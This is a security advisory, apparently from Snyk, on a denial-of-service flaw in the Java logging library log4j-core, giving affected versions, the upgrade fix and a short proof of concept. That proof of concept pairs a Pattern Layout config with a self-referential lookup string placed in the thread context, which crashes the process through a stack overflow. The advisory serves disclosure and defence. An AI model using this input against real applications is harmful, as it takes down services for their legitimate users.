Denial of Service (DoS) Affecting org.apache.logging.log4j:log4j-core Open this link in a new tab package, versions [2.0-beta9,2.3.1) [2.4,2.12.3) [2.13.0,2.17.0)


0.0
high
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

  • Availability

    High

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  • snyk-id

    SNYK-JAVA-ORGAPACHELOGGINGLOG4J-2321524

  • published

    18 Dec 2021

  • disclosed

    17 Dec 2021

  • credit

    Hideki Okamoto of Akamai Technologies

How to fix?

Upgrade org.apache.logging.log4j:log4j-core to version 2.3.1, 2.12.3, 2.17.0 or higher.

Overview

org.apache.logging.log4j:log4j-core is a logging library for Java.

Affected versions of this package are vulnerable to Denial of Service (DoS). Does not protect against uncontrolled recursion from self-referential lookups.

When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process.

PoC

In log4j.properties:

appender.console.type = Console
appender.console.name = console
appender.console.layout.type = PatternLayout
appender.console.layout.pattern = !${ctx:test}! %m%n
rootLogger.level = ALL
rootLogger.appenderRef.file.ref = console

In Main.java:

ThreadContext.put("test", "${::-${ctx:test}}");
logger.error("boom"); // Will not be logged

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package